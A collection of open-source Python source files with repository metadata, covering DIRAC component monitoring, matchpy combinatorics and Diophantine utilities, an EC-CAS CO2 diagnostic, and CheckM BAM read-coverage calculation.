compDictList[0], createMissing = False ) if not dbD: self.__addMissingDefinedComponents( compDictList ) return S_OK() self.__addFoundDefinedComponent( compDictList ) return S_OK() def __addMissingDefinedComponents( self, compDictList ): cD = self.walkSet( self.__requiredSet, compDictList[0] ) for compDict in compDictList: compDict = self.__setStatus( compDict, 'Error', "Component is not up or hasn't connected to register yet" ) cD.append( compDict ) def __setStatus( self, compDict, status, message = False ): if 'Status' in compDict: return compDict compDict[ 'Status' ] = status if message: compDict[ 'Message' ] = message return compDict def __addFoundDefinedComponent( self, compDictList ): cD = self.walkSet( self.__requiredSet, compDictList[0] ) dbD = self.walkSet( self.__dbSet, compDictList[0] ) now = Time.dateTime() unmatched = compDictList for dbComp in dbD: if 'Status' not in dbComp: self.__setStatus( dbComp, 'OK' ) if dbComp[ 'Type' ] == "service": if 'Port' not in dbComp: self.__setStatus( dbComp, 'Error', "Port is not defined" ) elif dbComp[ 'Port' ] not in [ compDict[ 'Port' ] for compDict in compDictList if 'Port' in compDict ]: self.__setStatus( compDict, 'Error', "Port (%s) is different that specified in the CS" % dbComp[ 'Port' ] ) elapsed = now - dbComp[ 'LastHeartbeat' ] elapsed = elapsed.days * 86400 + elapsed.seconds if elapsed > self.__maxSecsSinceHeartbeat: self.__setStatus( dbComp, "Error", "Last heartbeat was received at %s (%s secs ago)" % ( dbComp[ 'LastHeartbeat' ], elapsed ) ) cD.append( dbComp ) #See if we have a perfect match newUnmatched = [] for unmatchedComp in unmatched: perfectMatch = True for field in unmatchedComp: if field in ( 'Status', 'Message' ): continue if field not in dbComp: perfectMatch = False continue if field == 'Host': result = Network.checkHostsMatch( unmatchedComp[ field ], dbComp[ field ] ) if not result[ 'OK' ] or not result[ 'Value' ]: perfectMatch = False else: if unmatchedComp[ field ] != dbComp[ field ]: perfectMatch = False if not perfectMatch: newUnmatched.append( unmatchedComp ) unmatched = newUnmatched for unmatchedComp in unmatched: self.__setStatus( unmatchedComp, "Error", "There is no component up with this properties" ) cD.append( unmatchedComp ) def getRequiredComponents( self ): return self.__requiredSet
sposs/DIRAC
FrameworkSystem/DB/ComponentMonitoringDB.py
Python
gpl-3.0
21,234
[ "DIRAC" ]
b5ea34df91a856674787fe67e7c4f4664b04558becf3253a57cc881e22ecb9e9
# -*- coding: utf-8 -*- """This module contains various utility functions.""" import inspect import itertools import math import ast import os import tokenize import copy from types import LambdaType # pylint: disable=unused-import from typing import (Callable, Dict, Iterator, List, NamedTuple, Optional, Sequence, Tuple, TypeVar, cast, Union, Any) # pylint: enable=unused-import from multiset import Multiset __all__ = [ 'fixed_integer_vector_iter', 'weak_composition_iter', 'commutative_sequence_variable_partition_iter', 'get_short_lambda_source', 'solve_linear_diop', 'generator_chain', 'cached_property', 'slot_cached_property', 'extended_euclid', 'base_solution_linear' ] T = TypeVar('T') VariableWithCount = NamedTuple( 'VariableWithCount', [('name', str), ('count', int), ('minimum', int), ('default', Optional[Any])] ) def fixed_integer_vector_iter(max_vector: Tuple[int, ...], vector_sum: int) -> Iterator[Tuple[int, ...]]: """ Return an iterator over the integer vectors which - are componentwise less than or equal to *max_vector*, and - are non-negative, and where - the sum of their components is exactly *vector_sum*. The iterator yields the vectors in lexicographical order. Examples: List all vectors that are between ``(0, 0)`` and ``(2, 2)`` componentwise, where the sum of components is 2: >>> vectors = list(fixed_integer_vector_iter([2, 2], 2)) >>> vectors [(0, 2), (1, 1), (2, 0)] >>> list(map(sum, vectors)) [2, 2, 2] Args: max_vector: Maximum vector for the iteration. Every yielded result will be less than or equal to this componentwise. vector_sum: Every iterated vector will have a component sum equal to this value. Yields: All non-negative vectors that have the given sum and are not larger than the given maximum. Raises: ValueError: If *vector_sum* is negative. """ if vector_sum < 0: raise ValueError("Vector sum must not be negative") if len(max_vector) == 0: if vector_sum == 0: yield tuple() return total = sum(max_vector) if vector_sum <= total: start = max(max_vector[0] + vector_sum - total, 0) end = min(max_vector[0], vector_sum) for j in range(start, end + 1): for vec in fixed_integer_vector_iter(max_vector[1:], vector_sum - j): yield (j, ) + vec def weak_composition_iter(n: int, num_parts: int) -> Iterator[Tuple[int, ...]]: """Yield all weak compositions of integer *n* into *num_parts* parts. Each composition is yielded as a tuple. The generated partitions are order-dependant and not unique when ignoring the order of the components. The partitions are yielded in lexicographical order. Example: >>> compositions = list(weak_composition_iter(5, 2)) >>> compositions [(0, 5), (1, 4), (2, 3), (3, 2), (4, 1), (5, 0)] We can easily verify that all compositions are indeed valid: >>> list(map(sum, compositions)) [5, 5, 5, 5, 5, 5] The algorithm was adapted from an answer to this `Stackoverflow question`_. Args: n: The integer to partition. num_parts: The number of parts for the combination. Yields: All non-negative tuples that have the given sum and size. Raises: ValueError: If *n* or *num_parts* are negative. .. _Stackoverflow question: http://stackoverflow.com/questions/40538923/40540014#40540014 """ if n < 0: raise ValueError("Total must not be negative") if num_parts < 0: raise ValueError("Number of num_parts must not be negative") if num_parts == 0: if n == 0: yield tuple() return m = n + num_parts - 1 last = (m, ) first = (-1, ) for t in itertools.combinations(range(m), num_parts - 1): yield tuple(v - u - 1 for u, v in zip(first + t, t + last)) def optional_iter(remaining, count): for p in itertools.product([0, 1], repeat=count): yield remaining - sum(p), p _linear_diop_solution_cache = {} # type: Dict[Tuple[int, ...], List[Tuple[int, ...]]] def _make_variable_generator_factory(value, total, variables: List[VariableWithCount]): var_counts = [v.count for v in variables] cache_key = (total, *var_counts) def _factory(subst): if cache_key in _linear_diop_solution_cache: solutions = _linear_diop_solution_cache[cache_key] else: solutions = list(solve_linear_diop(total, *var_counts)) _linear_diop_solution_cache[cache_key] = solutions for solution in solutions: new_subst = copy.copy(subst) for var, count in zip(variables, solution): new_subst[var.name][value] = count yield new_subst return _factory def _commutative_single_variable_partiton_iter(values: 'Multiset[T]', variable: VariableWithCount) -> Iterator[Dict[str, 'Multiset[T]']]: name, count, minimum, default = variable if len(values) == 0 and default is not None: yield {name: default} return if count == 1: if len(values) >= minimum: yield {name: values} if name is not None else {} else: new_values = Multiset() for element, element_count in values.items(): if element_count % count != 0: return new_values[element] = element_count // count if len(new_values) >= minimum: yield {name: new_values} if name is not None else {} def commutative_sequence_variable_partition_iter(values: Multiset, variables: List[VariableWithCount] ) -> Iterator[Dict[str, Multiset]]: """Yield all possible variable substitutions for given values and variables. .. note:: The results are not yielded in any particular order because the algorithm uses dictionaries. Dictionaries until Python 3.6 do not keep track of the insertion order. Example: For a subject like ``fc(a, a, a, b, b, c)`` and a pattern like ``f(x__, y___, y___)`` one can define the following input parameters for the partitioning: >>> x = VariableWithCount(name='x', count=1, minimum=1, default=None) >>> y = VariableWithCount(name='y', count=2, minimum=0, default=None) >>> values = Multiset('aaabbc') Then the solutions are found (and sorted to get a unique output): >>> substitutions = commutative_sequence_variable_partition_iter(values, [x, y]) >>> as_strings = list(str(Substitution(substitution)) for substitution in substitutions) >>> for substitution in sorted(as_strings): ... print(substitution) {x ↦ {a, a, a, b, b, c}, y ↦ {}} {x ↦ {a, a, a, c}, y ↦ {b}} {x ↦ {a, b, b, c}, y ↦ {a}} {x ↦ {a, c}, y ↦ {a, b}} Args: values: The multiset of values which are partitioned and distributed among the variables. variables: A list of the variables to distribute the values among. Each variable has a name, a count of how many times it occurs and a minimum number of values it needs. Yields: Each possible substitutions that is a valid partitioning of the values among the variables. """ if len(variables) == 1: yield from _commutative_single_variable_partiton_iter(values, variables[0]) return generators = [] for value, count in values.items(): generators.append(_make_variable_generator_factory(value, count, variables)) initial = dict((var.name, Multiset()) for var in variables) # type: Dict[str, 'Multiset[T]'] for subst in generator_chain(initial, *generators): valid = True for var in variables: if var.default is not None and len(subst[var.name]) == 0: subst[var.name] = var.default elif len(subst[var.name]) < var.minimum: valid = False break if valid: if None in subst: del subst[None] yield subst class LambdaNodeVisitor(ast.NodeVisitor): def __init__(self, lines): self.lines = lines self.last_node = None self.lambdas = [] def visit(self, node): super().visit(node) if self.last_node is not None: fake_node = ast.Pass(lineno=len(self.lines), col_offset=len(self.lines[-1])) self.generic_visit(fake_node) def visit_Lambda(self, node): self.generic_visit(node) self.last_node = node def generic_visit(self, node): if self.last_node is not None and hasattr(node, 'col_offset'): enode = ast.Expression(self.last_node) lambda_code = compile(enode, '<unused>', 'eval') lines = self.lines[self.last_node.lineno-1:node.lineno] lines[-1] = lines[-1][:node.col_offset] lines[0] = lines[0][self.last_node.col_offset:] lambda_body_text = ' '.join(l.rstrip(' \t\\').strip() for l in lines) while lambda_body_text: try: code = compile(lambda_body_text, '<unused>', 'eval') if len(code.co_code) == len(lambda_code.co_code): break except SyntaxError: pass lambda_body_text = lambda_body_text[:-1] self.lambdas.append((lambda_code, lambda_body_text.strip())) self.last_node = None super().generic_visit(node) def get_short_lambda_source(lambda_func: LambdaType) -> Optional[str]: """Return the source of a (short) lambda function. If it's impossible to obtain, return ``None``. The source is returned without the ``lambda`` and signature parts: >>> get_short_lambda_source(lambda x, y: x < y) 'x < y' This should work well for most lambda definitions, however for multi-line or highly nested lambdas, the source extraction might not succeed. Args: lambda_func: The lambda function. Returns: The source of the lambda function without its signature. """ try: all_source_lines, lnum = inspect.findsource(lambda_func) source_lines, _ = inspect.getsourcelines(lambda_func) except (IOError, TypeError): return None all_source_lines = [l.rstrip('\r\n') for l in all_source_lines] block_end = lnum + len(source_lines) source_ast = None for i in range(lnum, -1, -1): try: block = all_source_lines[i:block_end] if block[0].startswith(' ') or block[0].startswith('\t'): block.insert(0, 'with 0:') source_ast = ast.parse(os.linesep.join(block)) except (SyntaxError, tokenize.TokenError): pass else: break nv = LambdaNodeVisitor(block) nv.visit(source_ast) lambda_code = lambda_func.__code__ for candidate_code, lambda_text in nv.lambdas: candidate_code = candidate_code.co_consts[0] # We don't check for direct equivalence since the flags can be different if (candidate_code.co_code == lambda_code.co_code and candidate_code.co_consts == lambda_code.co_consts and candidate_code.co_names == lambda_code.co_names and candidate_code.co_varnames == lambda_code.co_varnames and candidate_code.co_cellvars == lambda_code.co_cellvars and candidate_code.co_freevars == lambda_code.co_freevars): return lambda_text[lambda_text.index(':')+1:].strip() return None def extended_euclid(a: int, b: int) -> Tuple[int, int, int]: """Extended Euclidean algorithm that computes the Bézout coefficients as well as :math:`gcd(a, b)` Returns ``x, y, d`` where *x* and *y* are a solution to :math:`ax + by = d` and :math:`d = gcd(a, b)`. *x* and *y* are a minimal pair of Bézout's coefficients. See `Extended Euclidean algorithm <https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm>`_ or `Bézout's identity <https://en.wikipedia.org/wiki/B%C3%A9zout%27s_identity>`_ for more information. Example: Compute the Bézout coefficients and GCD of 42 and 12: >>> a, b = 42, 12 >>> x, y, d = extended_euclid(a, b) >>> x, y, d (1, -3, 6) Verify the results: >>> import math >>> d == math.gcd(a, b) True >>> a * x + b * y == d True Args: a: The first integer. b: The second integer. Returns: A tuple with the Bézout coefficients and the greatest common divider of the arguments. """ if b == 0: return (1, 0, a) x0, y0, d = extended_euclid(b, a % b) x, y = y0, x0 - (a // b) * y0 return (x, y, d) def base_solution_linear(a: int, b: int, c: int) -> Iterator[Tuple[int, int]]: r"""Yield solutions for a basic linear Diophantine equation of the form :math:`ax + by = c`. First, the equation is normalized by dividing :math:`a, b, c` by their gcd. Then, the extended Euclidean algorithm (:func:`extended_euclid`) is used to find a base solution :math:`(x_0, y_0)`. All non-negative solutions are generated by using that the general solution is :math:`(x_0 + b t, y_0 - a t)`. Because the base solution is one of the minimal pairs of Bézout's coefficients, for all non-negative solutions either :math:`t \geq 0` or :math:`t \leq 0` must hold. Also, all the non-negative solutions are consecutive with respect to :math:`t`. Hence, by adding or subtracting :math:`a` resp. :math:`b` from the base solution, all non-negative solutions can be efficiently generated. Args: a: The first coefficient of the equation. b: The second coefficient of the equation. c: The constant of the equation. Yields: Each non-negative integer solution of the equation as a tuple ``(x, y)``. Raises: ValueError: If any of the coefficients is not a positive integer. """ if a <= 0 or b <= 0: raise ValueError('Coefficients a and b must be positive integers.') if c < 0: raise ValueError('Constant c must not be negative.') d = math.gcd(a, math.gcd(b, c)) a = a // d b = b // d c = c // d if c == 0: yield (0, 0) else: x0, y0, d = extended_euclid(a, b) # If c is not divisible by gcd(a, b), then there is no solution if c % d != 0: return x, y = c * x0, c * y0 if x <= 0: while y >= 0: if x >= 0: yield (x, y) x += b y -= a else: while x >= 0: if y >= 0: yield (x, y) x -= b y += a def solve_linear_diop(total: int, *coeffs: int) -> Iterator[Tuple[int, ...]]: r"""Yield non-negative integer solutions of a linear Diophantine equation of the format :math:`c_1 x_1 + \dots + c_n x_n = total`. If there are at most two coefficients, :func:`base_solution_linear()` is used to find the solutions. Otherwise, the solutions are found recursively, by reducing the number of variables in each recursion: 1. Compute :math:`d := gcd(c_2, \dots , c_n)` 2. Solve :math:`c_1 x + d y = total` 3. Recursively solve :math:`c_2 x_2 + \dots + c_n x_n = y` for each solution for :math:`y` 4. Combine these solutions to form a solution for the whole equation Args: total: The constant of the equation. *coeffs: The coefficients :math:`c_i` of the equation. Yields: The non-negative integer solutions of the equation as a tuple :math:`(x_1, \dots, x_n)`. """ if len(coeffs) == 0: if total == 0: yield tuple() return if len(coeffs) == 1: if total % coeffs[0] == 0: yield (total // coeffs[0], ) return if len(coeffs) == 2: yield from base_solution_linear(coeffs[0], coeffs[1], total) return # calculate gcd(coeffs[1:]) remainder_gcd = math.gcd(coeffs[1], coeffs[2]) for coeff in coeffs[3:]: remainder_gcd = math.gcd(remainder_gcd, coeff) # solve coeffs[0] * x + remainder_gcd * y = total for coeff0_solution, remainder_gcd_solution in base_solution_linear(coeffs[0], remainder_gcd, total): new_coeffs = [c // remainder_gcd for c in coeffs[1:]] # use the solutions for y to solve the remaining variables recursively for remainder_solution in solve_linear_diop(remainder_gcd_solution, *new_coeffs): yield (coeff0_solution, ) + remainder_solution def generator_chain(initial_data: T, *factories: Callable[[T], Iterator[T]]) -> Iterator[T]: """Chain multiple generators together by passing results from one to the next. This helper function allows to create a chain of generator where each generator is constructed by a factory that gets the data yielded by the previous generator. So each generator can generate new data dependant on the data yielded by the previous one. For each data item yielded by a generator, a new generator is constructed by the next factory. Example: Lets say for every number from 0 to 4, we want to count up to that number. Then we can do something like this using list comprehensions: >>> [i for n in range(1, 5) for i in range(1, n + 1)] [1, 1, 2, 1, 2, 3, 1, 2, 3, 4] You can use this function to achieve the same thing: >>> list(generator_chain(5, lambda n: iter(range(1, n)), lambda i: iter(range(1, i + 1)))) [1, 1, 2, 1, 2, 3, 1, 2, 3, 4] The advantage is, that this is independent of the number of dependant generators you have. Also, this function does not use recursion so it is safe to use even with large generator counts. Args: initial_data: The initial data that is passed to the first generator factory. *factories: The generator factories. Each of them gets passed its predecessors data and has to return an iterable. The data from this iterable is passed to the next factory. Yields: Every data item yielded by the generators of the final factory. """ generator_count = len(factories) if generator_count == 0: yield initial_data return generators = [None] * generator_count # type: List[Optional[Iterator[T]]] next_data = initial_data generator_index = 0 while True: try: while generator_index < generator_count: if generators[generator_index] is None: generators[generator_index] = factories[generator_index](next_data) next_data = next(generators[generator_index]) generator_index += 1 yield next_data generator_index -= 1 except StopIteration: generators[generator_index] = None generator_index -= 1 if generator_index < 0: break class cached_property(property): """Property with caching. An extension of the builtin `property`, that caches the value after the first access. This is useful in case the computation of the property value is expensive. Use it just like a regular property decorator. Cached properties cannot have a setter. Example: First, create a class with a cached property: >>> class MyClass: ... @cached_property ... def my_property(self): ... print('my_property called') ... return 42 >>> instance = MyClass() Then, access the property and get the computed value: >>> instance.my_property my_property called 42 Now the result is cached and the original method will not be called again: >>> instance.my_property 42 """ def __init__(self, getter, slot=None): """ Use it as a decorator: >>> class MyClass: ... @cached_property ... def my_property(self): ... return 42 The *slot* argument specifies a class slot to use for caching the property. You should use the `slot_cached_property` decorator instead as that is more convenient. Args: getter: The getter method for the property. slot: Optional slot to use for the cached value. Only relevant in classes that use slots. Use `slot_cached_property` instead. Returns: The wrapped `property` with caching. """ super().__init__(getter) self._name = getter.__name__ self._slot = slot def __get__(self, obj, cls): if obj is None: return self if self._slot is not None: attribute = cls.__dict__[self._slot] try: return attribute.__get__(obj, cls) except AttributeError: value = self.fget(obj) attribute.__set__(obj, value) return value else: if self._name not in obj.__dict__: obj.__dict__[self._name] = self.fget(obj) return obj.__dict__[self._name] def slot_cached_property(slot): """Property with caching for classes with slots. This is a wrapper around `cached_property` to be used with classes that have slots. It provides an extension of the builtin `property`, that caches the value in a slot after the first access. You need to specify which slot to use for the cached value. Example: First, create a class with a cached property and a slot to hold the cached value: >>> class MyClass: ... __slots__ = ('_my_cached_property', ) ... ... @slot_cached_property('_my_cached_property') ... def my_property(self): ... print('my_property called') ... return 42 ... >>> instance = MyClass() Then, access the property and get the computed value: >>> instance.my_property my_property called 42 Now the result is cached and the original method will not be called again: >>> instance.my_property 42 Args: slot: The name of the classes slot to use for the cached value. Returns: The wrapped `cached_property`. """ def _wrapper(getter): return cached_property(getter, slot) return _wrapper
HPAC/matchpy
matchpy/utils.py
Python
mit
23,029
[ "VisIt" ]
2d04901fd8cbfd43550e53dcf6b15dfa71bf23579420e827ce0139d51a805cd2
############################################################################### # Copyright 2016 - Climate Research Division # Environment and Climate Change Canada # # This file is part of the "EC-CAS diags" package. # # "EC-CAS diags" is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # "EC-CAS diags" is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with "EC-CAS diags". If not, see <http://www.gnu.org/licenses/>. ############################################################################### def where_holes (experiment, outdir): from pygeode.formats import netcdf from os.path import exists from .timeseries import get_sfc_data co2 = get_sfc_data(experiment,'CO2') holes = (co2 < 100) count = (holes * 1).sum('time') count.name = "hole_count" outfile = outdir+"/%s_hole_count.nc"%experiment.name if not exists(outfile): netcdf.save(outfile, count)
neishm/EC-CAS-diags
eccas_diags/diagnostics/where_holes.py
Python
lgpl-3.0
1,364
[ "NetCDF" ]
91767e89225153521dd982e6d1ddc3144705c33a47986d20ca88707b9abd94bc
############################################################################### # # coverageWindows.py - calculate coverage of windows within sequences # ############################################################################### # # # This program is free software: you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation, either version 3 of the License, or # # (at your option) any later version. # # # # This program is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # GNU General Public License for more details. # # # # You should have received a copy of the GNU General Public License # # along with this program. If not, see <http://www.gnu.org/licenses/>. # # # ############################################################################### import sys import os import multiprocessing as mp import logging import pysam from numpy import zeros class ReadLoader: """Callback for counting aligned reads with pysam.fetch""" def __init__(self, refLength, bAllReads, minAlignPer, maxEditDistPer): self.bAllReads = bAllReads self.minAlignPer = minAlignPer self.maxEditDistPer = maxEditDistPer self.numReads = 0 self.numMappedReads = 0 self.numDuplicates = 0 self.numSecondary = 0 self.numFailedQC = 0 self.numFailedAlignLen = 0 self.numFailedEditDist = 0 self.numFailedProperPair = 0 self.coverage = zeros(refLength) def __call__(self, read): self.numReads += 1 if read.is_unmapped: pass elif read.is_duplicate: self.numDuplicates += 1 elif read.is_secondary: self.numSecondary += 1 elif read.is_qcfail: self.numFailedQC += 1 elif read.alen < self.minAlignPer * read.rlen: self.numFailedAlignLen += 1 elif read.opt('NM') > self.maxEditDistPer * read.rlen: self.numFailedEditDist += 1 elif not self.bAllReads and not read.is_proper_pair: self.numFailedProperPair += 1 else: self.numMappedReads += 1 # Note: the alignment length (alen) is used instead of the # read length (rlen) as this bring the calculated coverage # in line with 'samtools depth' (at least when the min # alignment length and edit distance thresholds are zero). self.coverage[read.pos:read.pos + read.alen] += 1.0 class CoverageStruct(): def __init__(self, seqLen, mappedReads, coverage): self.seqLen = seqLen self.mappedReads = mappedReads self.coverage = coverage class CoverageWindows(): """Calculate coverage of all sequences.""" def __init__(self, threads): self.logger = logging.getLogger('timestamp') self.totalThreads = threads def run(self, binFiles, bamFile, bAllReads, minAlignPer, maxEditDistPer, windowSize): """Calculate coverage of full sequences and windows.""" # make sure BAM file is sorted if not os.path.exists(bamFile + '.bai'): self.logger.error('BAM file is not sorted: ' + bamFile + '\n') sys.exit(1) # calculate coverage of each BAM file self.logger.info('Calculating coverage of windows.') coverageInfo = mp.Manager().dict() coverageInfo = self.__processBam(bamFile, bAllReads, minAlignPer, maxEditDistPer, windowSize, coverageInfo) return coverageInfo def __processBam(self, bamFile, bAllReads, minAlignPer, maxEditDistPer, windowSize, coverageInfo): """Calculate coverage of sequences in BAM file.""" # determine coverage for each reference sequence workerQueue = mp.Queue() writerQueue = mp.Queue() bamfile = pysam.Samfile(bamFile, 'rb') refSeqIds = bamfile.references refSeqLens = bamfile.lengths # populate each thread with reference sequence to process # Note: reference sequences are sorted by number of mapped reads # so it is important to distribute reads in a sensible way to each # of the threads refSeqLists = [[] for _ in range(self.totalThreads)] refLenLists = [[] for _ in range(self.totalThreads)] threadIndex = 0 incDir = 1 for refSeqId, refLen in zip(refSeqIds, refSeqLens): refSeqLists[threadIndex].append(refSeqId) refLenLists[threadIndex].append(refLen) threadIndex += incDir if threadIndex == self.totalThreads: threadIndex = self.totalThreads - 1 incDir = -1 elif threadIndex == -1: threadIndex = 0 incDir = 1 for i in range(self.totalThreads): workerQueue.put((refSeqLists[i], refLenLists[i])) for _ in range(self.totalThreads): workerQueue.put((None, None)) try: workerProc = [mp.Process(target=self.__workerThread, args=(bamFile, bAllReads, minAlignPer, maxEditDistPer, windowSize, workerQueue, writerQueue)) for _ in range(self.totalThreads)] writeProc = mp.Process(target=self.__writerThread, args=(coverageInfo, len(refSeqIds), writerQueue)) writeProc.start() for p in workerProc: p.start() for p in workerProc: p.join() writerQueue.put((None, None, None, None, None, None, None, None, None, None, None, None)) writeProc.join() except: # make sure all processes are terminated for p in workerProc: p.terminate() writeProc.terminate() return coverageInfo def __workerThread(self, bamFile, bAllReads, minAlignPer, maxEditDistPer, windowSize, queueIn, queueOut): """Process each data item in parallel.""" while True: seqIds, seqLens = queueIn.get(block=True, timeout=None) if seqIds == None: break bamfile = pysam.Samfile(bamFile, 'rb') for seqId, seqLen in zip(seqIds, seqLens): readLoader = ReadLoader(seqLen, bAllReads, minAlignPer, maxEditDistPer) bamfile.fetch(seqId, 0, seqLen, callback=readLoader) start = 0 end = windowSize windowCoverages = [] while(end < seqLen): windowCoverages.append(sum(readLoader.coverage[start:end]) / windowSize) start = end try: end += windowSize except: print ('*****************') print (end) print (windowSize) print ('******************') coverage = float(sum(readLoader.coverage)) / seqLen queueOut.put((seqId, seqLen, coverage, windowCoverages, readLoader.numReads, readLoader.numDuplicates, readLoader.numSecondary, readLoader.numFailedQC, readLoader.numFailedAlignLen, readLoader.numFailedEditDist, readLoader.numFailedProperPair, readLoader.numMappedReads)) bamfile.close() def __writerThread(self, coverageInfo, numRefSeqs, writerQueue): """Store or write results of worker threads in a single thread.""" totalReads = 0 totalDuplicates = 0 totalSecondary = 0 totalFailedQC = 0 totalFailedAlignLen = 0 totalFailedEditDist = 0 totalFailedProperPair = 0 totalMappedReads = 0 processedRefSeqs = 0 while True: seqId, seqLen, coverage, windowCoverages, numReads, numDuplicates, numSecondary, numFailedQC, numFailedAlignLen, numFailedEditDist, numFailedProperPair, numMappedReads = writerQueue.get(block=True, timeout=None) if seqId == None: break if self.logger.getEffectiveLevel() <= logging.INFO: processedRefSeqs += 1 statusStr = ' Finished processing %d of %d (%.2f%%) reference sequences.' % (processedRefSeqs, numRefSeqs, float(processedRefSeqs) * 100 / numRefSeqs) sys.stderr.write('%s\r' % statusStr) sys.stderr.flush() totalReads += numReads totalDuplicates += numDuplicates totalSecondary += numSecondary totalFailedQC += numFailedQC totalFailedAlignLen += numFailedAlignLen totalFailedEditDist += numFailedEditDist totalFailedProperPair += numFailedProperPair totalMappedReads += numMappedReads coverageInfo[seqId] = [coverage, windowCoverages] if self.logger.getEffectiveLevel() <= logging.INFO: sys.stderr.write('\n') print ('') print (' # total reads: %d' % totalReads) print (' # properly mapped reads: %d (%.1f%%)' % (totalMappedReads, float(totalMappedReads) * 100 / totalReads)) print (' # duplicate reads: %d (%.1f%%)' % (totalDuplicates, float(totalDuplicates) * 100 / totalReads)) print (' # secondary reads: %d (%.1f%%)' % (totalSecondary, float(totalSecondary) * 100 / totalReads)) print (' # reads failing QC: %d (%.1f%%)' % (totalFailedQC, float(totalFailedQC) * 100 / totalReads)) print (' # reads failing alignment length: %d (%.1f%%)' % (totalFailedAlignLen, float(totalFailedAlignLen) * 100 / totalReads)) print (' # reads failing edit distance: %d (%.1f%%)' % (totalFailedEditDist, float(totalFailedEditDist) * 100 / totalReads)) print (' # reads not properly paired: %d (%.1f%%)' % (totalFailedProperPair, float(totalFailedProperPair) * 100 / totalReads)) print ('')
Ecogenomics/CheckM
checkm/coverageWindows.py
Python
gpl-3.0
10,610
[ "pysam" ]
b33dfaeb55643cc20f5e9c98e60241d695a56c2bad68ecc241831abb29a8b603